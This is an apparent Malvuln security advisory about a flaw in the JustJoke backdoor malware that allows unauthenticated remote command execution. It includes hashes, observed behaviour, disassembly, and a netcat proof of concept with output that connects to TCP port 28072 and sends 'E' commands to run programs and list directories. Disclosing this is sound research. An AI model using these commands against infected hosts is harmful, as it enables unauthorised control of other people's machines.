Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/4dc39c05bcc93e600dd8de16f2f7c599.txt Contact: malvuln13@gmail.com Media: x.com/malvuln Threat: Backdoor.Win32.JustJoke.21 (BackDoor Pro - v2.0b4) Vulnerability: Unauthenticated Remote Command Execution Family: JustJoke Type: PE32 MD5: 4dc39c05bcc93e600dd8de16f2f7c599 SHA256: 55662483e663bde98d729489c6b25986003a40df1e2be376b0c3b20d2d6c7987 Vuln ID: MVID-2024-0689 Dropped files: Scanvegw.exe Disclosure: 09/03/2024 Description: The malware listens on TCP port 28072. Upon execution, throws an error alert dialog with message: "File DATA1.CAB not found!". The backdoor then drops a hidden PE file named "Scanvegw.exe" in SysWoW64 use attrib -s -h. The malware then makes outbound connections to SMTP port 25. Hit enter twice when sending commands use "E" for Execute and "T" for Terminate. Calling programs incorrectly still gives a response of "Executed!" when it actually fails. The malware calls Win32 WinExec API, supply full path to the file. 0046A0CC push eax ; lpCmdLine 0046A0CD call WinExec 0046A0D2 push offset aTmp ; "tmp!?!" 0046A0D7 push [ebp+var_C] 0046A0DA push offset aExecuted ; " Executed!" 0046A0DF lea eax, [ebp+var_168] 0046A0E5 mov edx, 3 0046A0EA call sub_40495C Exploit/PoC: nc64.exe x.x.x.x 28072 E "c:\\Windows\\System32\\calc.exe"; tmp!?!"c:\\Windows\\System32\\calc.exe"; Executed! E GetDir; tmp!?!GetDir; Executed! GetDir;C:\WINDOWS\system32 @AudioToastIcon.png @EnrollmentToastIcon.png @VpnToastIcon.png @WirelessDisplayToast.png aadauthhelper.dll aadtb.dll AboveLockAppHost.dll accessibilitycpl.dll E GetDrive; tmp!?!GetDrive; Executed!GetDrive;c: d: GetFiles; GetSpace; Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).